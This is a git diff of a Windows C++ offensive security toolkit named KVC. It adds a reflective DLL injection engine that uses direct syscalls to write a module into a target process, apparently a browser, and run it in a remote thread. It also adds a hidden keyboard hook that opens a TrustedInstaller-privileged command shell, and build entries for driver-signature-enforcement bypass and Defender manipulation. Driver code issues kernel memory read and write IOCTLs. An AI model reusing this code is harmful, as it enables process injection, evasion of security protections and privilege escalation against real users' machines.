std::wstring m_currentUserSid; // Cached current user SID
|
||||
std::wstring m_currentUsername; // Cached current username
|
||||
};
|
||||
BIN
kvc/ICON/kvc.ico
BIN
kvc/ICON/kvc.ico
Binary file not shown.
|
Before Width: | Height: | Size: 23 KiB After Width: | Height: | Size: 14 KiB |
157
kvc/InjectionEngine.cpp
Normal file
157
kvc/InjectionEngine.cpp
Normal file
@@ -0,0 +1,157 @@
|
||||
// InjectionEngine.cpp - Low-level PE injection and execution
|
||||
#include "InjectionEngine.h"
|
||||
#include "syscalls.h"
|
||||
#include <fstream>
|
||||
#include <stdexcept>
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
extern std::string g_securityModulePath;
|
||||
|
||||
// Constructor initializes injection context
|
||||
InjectionManager::InjectionManager(TargetProcess& target, const Console& console)
|
||||
: m_target(target), m_console(console) {}
|
||||
|
||||
// Main injection workflow execution
|
||||
void InjectionManager::execute(const std::wstring& pipeName)
|
||||
{
|
||||
m_console.Debug("Loading security module from file: " + g_securityModulePath);
|
||||
loadSecurityModuleFromFile(g_securityModulePath);
|
||||
|
||||
m_console.Debug("Parsing module PE headers for InitializeSecurityContext entry point.");
|
||||
DWORD rdiOffset = getInitializeSecurityContextOffset();
|
||||
if (rdiOffset == 0)
|
||||
throw std::runtime_error("Could not find InitializeSecurityContext export in security module.");
|
||||
m_console.Debug("InitializeSecurityContext found at file offset: " + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset));
|
||||
|
||||
m_console.Debug("Allocating memory for security module in target process.");
|
||||
PVOID remoteModuleBase = nullptr;
|
||||
SIZE_T moduleSize = m_moduleBuffer.size();
|
||||
SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t);
|
||||
SIZE_T totalAllocationSize = moduleSize + pipeNameByteSize;
|
||||
|
||||
NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, 0,
|
||||
&totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!NT_SUCCESS(status))
|
||||
throw std::runtime_error("NtAllocateVirtualMemory failed: " + Utils::NtStatusToString(status));
|
||||
m_console.Debug("Combined memory for module and parameters allocated at: " + Utils::PtrToHexStr(remoteModuleBase));
|
||||
|
||||
m_console.Debug("Writing security module to target process memory.");
|
||||
SIZE_T bytesWritten = 0;
|
||||
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteModuleBase,
|
||||
m_moduleBuffer.data(), moduleSize, &bytesWritten);
|
||||
if (!NT_SUCCESS(status))
|
||||
throw std::runtime_error("NtWriteVirtualMemory for security module failed: " + Utils::NtStatusToString(status));
|
||||
|
||||
m_console.Debug("Writing pipe name parameter into the same allocation.");
|
||||
LPVOID remotePipeNameAddr = reinterpret_cast<PBYTE>(remoteModuleBase) + moduleSize;
|
||||
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr,
|
||||
(PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten);
|
||||
if (!NT_SUCCESS(status))
|
||||
throw std::runtime_error("NtWriteVirtualMemory for pipe name failed: " + Utils::NtStatusToString(status));
|
||||
|
||||
m_console.Debug("Changing module memory protection to executable.");
|
||||
ULONG oldProtect = 0;
|
||||
status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase,
|
||||
&totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect);
|
||||
if (!NT_SUCCESS(status))
|
||||
throw std::runtime_error("NtProtectVirtualMemory failed: " + Utils::NtStatusToString(status));
|
||||
|
||||
startSecurityThreadInTarget(remoteModuleBase, rdiOffset, remotePipeNameAddr);
|
||||
m_console.Debug("New thread created for security module. Main thread remains suspended.");
|
||||
}
|
||||
|
||||
// Reads DLL file into memory buffer
|
||||
void InjectionManager::loadSecurityModuleFromFile(const std::string& modulePath)
|
||||
{
|
||||
if (!fs::exists(modulePath))
|
||||
throw std::runtime_error("Security module not found: " + modulePath);
|
||||
|
||||
std::ifstream file(modulePath, std::ios::binary);
|
||||
if (!file)
|
||||
throw std::runtime_error("Failed to open security module: " + modulePath);
|
||||
|
||||
file.seekg(0, std::ios::end);
|
||||
auto fileSize = file.tellg();
|
||||
file.seekg(0, std::ios::beg);
|
||||
|
||||
m_moduleBuffer.resize(static_cast<size_t>(fileSize));
|
||||
file.read(reinterpret_cast<char*>(m_moduleBuffer.data()), fileSize);
|
||||
|
||||
if (!file)
|
||||
throw std::runtime_error("Failed to read security module: " + modulePath);
|
||||
|
||||
m_console.Debug("Loaded " + std::to_string(m_moduleBuffer.size()) + " bytes from " + modulePath);
|
||||
}
|
||||
|
||||
// Manually parses PE export table to locate entry point
|
||||
DWORD InjectionManager::getInitializeSecurityContextOffset()
|
||||
{
|
||||
auto dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(m_moduleBuffer.data());
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return 0;
|
||||
|
||||
auto ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>((uintptr_t)m_moduleBuffer.data() + dosHeader->e_lfanew);
|
||||
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
|
||||
return 0;
|
||||
|
||||
auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (exportDirRva == 0)
|
||||
return 0;
|
||||
|
||||
// Converts RVA to file offset using section headers
|
||||
auto RvaToOffset = [&](DWORD rva) -> PVOID
|
||||
{
|
||||
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
|
||||
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section)
|
||||
{
|
||||
if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize)
|
||||
{
|
||||
return (PVOID)((uintptr_t)m_moduleBuffer.data() + section->PointerToRawData + (rva - section->VirtualAddress));
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
};
|
||||
|
||||
auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva);
|
||||
if (!exportDir) return 0;
|
||||
|
||||
auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames);
|
||||
auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals);
|
||||
auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions);
|
||||
if (!names || !ordinals || !funcs) return 0;
|
||||
|
||||
// Search for specific export by name
|
||||
for (DWORD i = 0; i < exportDir->NumberOfNames; ++i)
|
||||
{
|
||||
char* funcName = (char*)RvaToOffset(names[i]);
|
||||
if (funcName && strcmp(funcName, "InitializeSecurityContext") == 0)
|
||||
{
|
||||
PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]);
|
||||
if (!funcOffsetPtr) return 0;
|
||||
return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_moduleBuffer.data());
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Creates remote thread at calculated entry point
|
||||
void InjectionManager::startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr)
|
||||
{
|
||||
m_console.Debug("Creating new thread in target to execute InitializeSecurityContext.");
|
||||
|
||||
uintptr_t entryPoint = reinterpret_cast<uintptr_t>(remoteModuleBase) + rdiOffset;
|
||||
HANDLE hRemoteThread = nullptr;
|
||||
|
||||
NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(),
|
||||
(LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr);
|
||||
|
||||
UniqueHandle remoteThreadGuard(hRemoteThread);
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
throw std::runtime_error("NtCreateThreadEx failed: " + Utils::NtStatusToString(status));
|
||||
|
||||
m_console.Debug("Successfully created new thread for security module.");
|
||||
}
|
||||
35
kvc/InjectionEngine.h
Normal file
35
kvc/InjectionEngine.h
Normal file
@@ -0,0 +1,35 @@
|
||||
// InjectionEngine.h - PE injection and remote execution management
|
||||
#ifndef INJECTION_ENGINE_H
|
||||
#define INJECTION_ENGINE_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include "BrowserProcessManager.h"
|
||||
#include "CommunicationLayer.h"
|
||||
|
||||
// Handles DLL injection and remote thread execution
|
||||
class InjectionManager
|
||||
{
|
||||
public:
|
||||
InjectionManager(TargetProcess& target, const Console& console);
|
||||
|
||||
// Performs complete injection workflow: load, parse, inject, execute
|
||||
void execute(const std::wstring& pipeName);
|
||||
|
||||
private:
|
||||
// Loads security module from disk into memory buffer
|
||||
void loadSecurityModuleFromFile(const std::string& modulePath);
|
||||
|
||||
// Parses PE export table to find entry point offset
|
||||
DWORD getInitializeSecurityContextOffset();
|
||||
|
||||
// Creates remote thread to execute injected code
|
||||
void startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr);
|
||||
|
||||
TargetProcess& m_target;
|
||||
const Console& m_console;
|
||||
std::vector<BYTE> m_moduleBuffer;
|
||||
};
|
||||
|
||||
#endif // INJECTION_ENGINE_H
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
#include "KeyboardHook.h"
|
||||
#include "TrustedInstallerIntegrator.h"
|
||||
#include "common.h"
|
||||
|
||||
@@ -1,28 +1,32 @@
|
||||
// KeyboardHook.h - Low-level keyboard hook for detecting keys sequence,
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
#include <chrono>
|
||||
#include <vector>
|
||||
|
||||
// Low-level keyboard hook for 5x Left Ctrl sequence detection
|
||||
/**
|
||||
* KeyboardHook
|
||||
* Detects 5x Left Ctrl sequence and triggers TrustedInstaller cmd
|
||||
*/
|
||||
class KeyboardHook
|
||||
{
|
||||
public:
|
||||
KeyboardHook();
|
||||
~KeyboardHook();
|
||||
KeyboardHook(); ///< Construct hook manager
|
||||
~KeyboardHook(); ///< Destructor, removes hook
|
||||
|
||||
KeyboardHook(const KeyboardHook&) = delete;
|
||||
KeyboardHook& operator=(const KeyboardHook&) = delete;
|
||||
|
||||
// Hook management
|
||||
bool Install() noexcept;
|
||||
void Uninstall() noexcept;
|
||||
bool Install() noexcept; ///< Install global low-level keyboard hook
|
||||
void Uninstall() noexcept;///< Uninstall hook
|
||||
bool IsInstalled() const noexcept { return m_hookHandle != nullptr; }
|
||||
|
||||
// Configuration
|
||||
static constexpr int SEQUENCE_LENGTH = 5; // 5x Left Ctrl presses
|
||||
static constexpr DWORD SEQUENCE_TIMEOUT_MS = 2000; // 2 second window
|
||||
static constexpr DWORD DEBOUNCE_MS = 50; // Debounce period
|
||||
static constexpr int SEQUENCE_LENGTH = 5; ///< Number of Ctrl presses
|
||||
static constexpr DWORD SEQUENCE_TIMEOUT_MS = 2000; ///< Sequence window in ms
|
||||
static constexpr DWORD DEBOUNCE_MS = 50; ///< Debounce period in ms
|
||||
|
||||
private:
|
||||
// Hook callback
|
||||
@@ -30,21 +34,19 @@ private:
|
||||
|
||||
// Sequence tracking
|
||||
struct KeyPress {
|
||||
std::chrono::steady_clock::time_point timestamp;
|
||||
bool isPress; // true for key down, false for key up
|
||||
std::chrono::steady_clock::time_point timestamp; ///< Event time
|
||||
bool isPress; ///< true = key down
|
||||
};
|
||||
|
||||
static HHOOK m_hookHandle;
|
||||
static std::vector<KeyPress> m_leftCtrlSequence;
|
||||
static std::chrono::steady_clock::time_point m_lastKeyTime;
|
||||
static HHOOK m_hookHandle; ///< Hook handle
|
||||
static std::vector<KeyPress> m_leftCtrlSequence; ///< Ctrl press buffer
|
||||
static std::chrono::steady_clock::time_point m_lastKeyTime; ///< Last event time
|
||||
|
||||
// Internal logic
|
||||
static void ProcessLeftCtrlEvent(bool isKeyDown) noexcept;
|
||||
static bool CheckSequenceComplete() noexcept;
|
||||
static void ClearOldEntries() noexcept;
|
||||
static void TriggerTrustedInstallerCmd() noexcept;
|
||||
static bool LaunchCmdWithTrustedInstaller() noexcept;
|
||||
|
||||
// Debugging and logging
|
||||
static void LogSequenceState() noexcept;
|
||||
static void ProcessLeftCtrlEvent(bool isKeyDown) noexcept; ///< Handle key event
|
||||
static bool CheckSequenceComplete() noexcept; ///< Check sequence validity
|
||||
static void ClearOldEntries() noexcept; ///< Remove expired presses
|
||||
static void TriggerTrustedInstallerCmd() noexcept; ///< Launch cmd with TI
|
||||
static bool LaunchCmdWithTrustedInstaller() noexcept; ///< TrustedInstaller cmd execution
|
||||
static void LogSequenceState() noexcept; ///< Debug sequence state
|
||||
};
|
||||
1306
kvc/Kvc.cpp
1306
kvc/Kvc.cpp
File diff suppressed because it is too large
Load Diff
@@ -27,9 +27,10 @@
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CLRSupport>false</CLRSupport>
|
||||
</PropertyGroup>
|
||||
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
@@ -50,7 +51,7 @@
|
||||
<SOURCE_DATE_EPOCH>1756665900</SOURCE_DATE_EPOCH>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
@@ -62,7 +63,8 @@
|
||||
<LanguageStandardVersion>latest</LanguageStandardVersion>
|
||||
<EnableModules>false</EnableModules>
|
||||
<ScanSourceForModuleDependencies>false</ScanSourceForModuleDependencies>
|
||||
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions)</AdditionalOptions>
|
||||
<!-- ZMIENIONE: Usunięto /GL, dodano /Os -->
|
||||
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Os /Brepro %(AdditionalOptions)</AdditionalOptions>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<ExceptionHandling>Sync</ExceptionHandling>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
@@ -71,9 +73,12 @@
|
||||
<StringPooling>true</StringPooling>
|
||||
<TreatWarningAsError>false</TreatWarningAsError>
|
||||
<DisableSpecificWarnings>4996;4117</DisableSpecificWarnings>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
|
||||
<!-- ZMIENIONE: Optymalizacja pod rozmiar -->
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<!-- ZMIENIONE: Wyłączone Whole Program Optimization -->
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<!-- ZMIENIONE: Priorytet rozmiaru -->
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
|
||||
<BrowseInformation>false</BrowseInformation>
|
||||
</ClCompile>
|
||||
@@ -83,9 +88,12 @@
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<UACExecutionLevel>HighestAvailable</UACExecutionLevel>
|
||||
<!-- ZMIENIONE: Wyłączone LTO -->
|
||||
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;psapi.lib;advapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions>/OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro %(AdditionalOptions)</AdditionalOptions>
|
||||
<LinkTimeCodeGeneration>UseLinkTimeCodeGeneration</LinkTimeCodeGeneration>
|
||||
<!-- ZMIENIONE: Dodano INCREMENTAL:NO, poprawiono ICF -->
|
||||
<AdditionalOptions>/OPT:REF /OPT:ICF=10 /MERGE:.rdata=.text /MERGE:.pdata=.text /NXCOMPAT /INCREMENTAL:NO /Brepro %(AdditionalOptions)</AdditionalOptions>
|
||||
<!-- USUNIĘTE: Zduplikowane LinkTimeCodeGeneration -->
|
||||
<RandomizedBaseAddress>true</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>true</DataExecutionPrevention>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
@@ -100,12 +108,14 @@
|
||||
<ResourceCompile>
|
||||
<Culture>0x0409</Culture>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
</ItemDefinitionGroup>
|
||||
|
||||
<!-- Source Files -->
|
||||
<ItemGroup>
|
||||
<ClCompile Include="TrustedInstallerIntegrator.cpp" />
|
||||
<ClCompile Include="ControllerCore.cpp" />
|
||||
<ClCompile Include="DSEBypass.cpp" />
|
||||
<ClCompile Include="ControllerDSE.cpp" />
|
||||
<ClCompile Include="ControllerBinaryManager.cpp" />
|
||||
<ClCompile Include="ControllerDriverManager.cpp" />
|
||||
<ClCompile Include="ControllerProcessOperations.cpp" />
|
||||
@@ -113,13 +123,18 @@
|
||||
<ClCompile Include="ControllerSystemIntegration.cpp" />
|
||||
<ClCompile Include="ControllerPasswordManager.cpp" />
|
||||
<ClCompile Include="ControllerEventLogOperations.cpp" />
|
||||
<ClCompile Include="ProcessManager.cpp" />
|
||||
<ClCompile Include="OffsetFinder.cpp" />
|
||||
<ClCompile Include="kvc.cpp" />
|
||||
<ClCompile Include="kvcDrv.cpp" />
|
||||
<ClCompile Include="Utils.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="WatermarkManager.cpp" />
|
||||
<ClCompile Include="HiveManager.cpp" />
|
||||
<ClCompile Include="ReportExporter.cpp" />
|
||||
<ClCompile Include="SessionManager.cpp" />
|
||||
<ClCompile Include="ServiceManager.cpp" />
|
||||
<ClCompile Include="DefenderManager.cpp" />
|
||||
<ClCompile Include="KeyboardHook.cpp" />
|
||||
<ClCompile Include="HelpSystem.cpp" />
|
||||
</ItemGroup>
|
||||
@@ -129,16 +144,25 @@
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="TrustedInstallerIntegrator.h" />
|
||||
<ClInclude Include="common.h" />
|
||||
<ClInclude Include="DSEBypass.h" />
|
||||
<ClInclude Include="Controller.h" />
|
||||
<ClInclude Include="OffsetFinder.h" />
|
||||
<ClInclude Include="kvcDrv.h" />
|
||||
<ClInclude Include="Utils.h" />
|
||||
<ClInclude Include="WatermarkManager.h" />
|
||||
<ClInclude Include="HiveManager.h" />
|
||||
<ClInclude Include="ReportExporter.h" />
|
||||
<ClInclude Include="SessionManager.h" />
|
||||
<ClInclude Include="ServiceManager.h" />
|
||||
<ClInclude Include="KeyboardHook.h" />
|
||||
<ClInclude Include="HelpSystem.h" />
|
||||
<ClInclude Include="DefenderManager.h" />
|
||||
<ClInclude Include="ProcessManager.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="MmPoolTelemetry.asm" />
|
||||
<MASM Include="ScreenShake.asm" />
|
||||
</ItemGroup>
|
||||
|
||||
<!-- Resource Files -->
|
||||
<ItemGroup>
|
||||
<Image Include="ICON\kvc.ico" />
|
||||
@@ -149,5 +173,6 @@
|
||||
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -17,7 +17,7 @@
|
||||
<UniqueIdentifier>{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="kvc.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
@@ -57,8 +57,44 @@
|
||||
<ClCompile Include="ControllerPasswordManager.cpp">
|
||||
<Filter>Source Files\Controller</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="DSEBypass.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ControllerDSE.cpp">
|
||||
<Filter>Source Files\Controller</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ControllerBinaryManager.cpp">
|
||||
<Filter>Source Files\Controller</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ControllerEventLogOperations.cpp">
|
||||
<Filter>Source Files\Controller</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ProcessManager.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="WatermarkManager.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="HiveManager.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="SessionManager.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ServiceManager.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="DefenderManager.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KeyboardHook.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="HelpSystem.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="OffsetFinder.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
@@ -83,15 +119,42 @@
|
||||
<ClInclude Include="ReportExporter.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="DSEBypass.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="WatermarkManager.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="HiveManager.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="SessionManager.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ServiceManager.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="KeyboardHook.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="HelpSystem.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="DefenderManager.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ProcessManager.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="ICON\kvc.ico">
|
||||
<Filter>Resource Files</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="kvc.rc">
|
||||
<Filter>Resource Files</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
250
kvc/KvcDrv.cpp
250
kvc/KvcDrv.cpp
@@ -1,169 +1,273 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
// KVC kernel driver communication implementation- Implements low-level IOCTL communication with the KVC kernel driver
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// KvcDrv.cpp
|
||||
#include "kvcDrv.h"
|
||||
#include "common.h"
|
||||
#include <format>
|
||||
|
||||
// IOCTL command codes for KVC driver communication
|
||||
// ============================================================================
|
||||
// IOCTL COMMAND CODES (DRIVER-SPECIFIC)
|
||||
// ============================================================================
|
||||
|
||||
// IOCTL code for kernel memory read operations
|
||||
constexpr DWORD RTC_IOCTL_MEMORY_READ = 0x80002048;
|
||||
|
||||
// IOCTL code for kernel memory write operations
|
||||
constexpr DWORD RTC_IOCTL_MEMORY_WRITE = 0x8000204c;
|
||||
|
||||
// ============================================================================
|
||||
// CONSTRUCTION AND DESTRUCTION
|
||||
// ============================================================================
|
||||
|
||||
// Default constructor - initializes empty driver object
|
||||
kvc::kvc() = default;
|
||||
|
||||
kvc::~kvc() {
|
||||
// Destructor - ensures proper resource cleanup
|
||||
kvc::~kvc()
|
||||
{
|
||||
Cleanup();
|
||||
}
|
||||
|
||||
// Force cleanup for atomic driver operations - critical for stability
|
||||
void kvc::Cleanup() noexcept {
|
||||
// ============================================================================
|
||||
// DRIVER CONNECTION MANAGEMENT
|
||||
// ============================================================================
|
||||
|
||||
// Cleans up driver resources by flushing buffers, closing handle and clearing device name
|
||||
void kvc::Cleanup() noexcept
|
||||
{
|
||||
DEBUG(L"kvc::Cleanup() called");
|
||||
|
||||
if (m_deviceHandle) {
|
||||
DEBUG(L"Closing device handle...");
|
||||
// Force the handle to close
|
||||
|
||||
// Flush buffers before closing to prevent data loss
|
||||
FlushFileBuffers(m_deviceHandle.get());
|
||||
m_deviceHandle.reset(); // This should close the handle
|
||||
|
||||
// Reset smart handle - automatically closes via HandleDeleter
|
||||
m_deviceHandle.reset();
|
||||
}
|
||||
|
||||
m_deviceName.clear();
|
||||
DEBUG(L"kvc cleanup completed");
|
||||
}
|
||||
|
||||
bool kvc::IsConnected() const noexcept {
|
||||
// Checks if driver connection is active
|
||||
bool kvc::IsConnected() const noexcept
|
||||
{
|
||||
return m_deviceHandle && m_deviceHandle.get() != INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
// Driver connection establishment with device path
|
||||
bool kvc::Initialize() noexcept {
|
||||
// Establishes connection to KVC kernel driver by opening device handle with read/write access
|
||||
bool kvc::Initialize() noexcept
|
||||
{
|
||||
// Idempotent check - return early if already connected
|
||||
if (IsConnected()) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Construct device name if not set
|
||||
if (m_deviceName.empty()) {
|
||||
m_deviceName = L"\\\\.\\" + GetServiceName();
|
||||
}
|
||||
|
||||
if (!InitDynamicAPIs()) return false;
|
||||
|
||||
// SIMPLE DEVICE OPEN - without test operations
|
||||
HANDLE rawHandle = g_pCreateFileW(m_deviceName.c_str(),
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
0, nullptr, OPEN_EXISTING, 0, nullptr);
|
||||
|
||||
if (rawHandle == INVALID_HANDLE_VALUE) {
|
||||
return false; // Silently fail - this is normal when the driver is not running
|
||||
// Initialize dynamic APIs (required for CreateFileW pointer)
|
||||
if (!InitDynamicAPIs()) {
|
||||
DEBUG(L"Failed to initialize dynamic APIs");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Open driver device with read/write access
|
||||
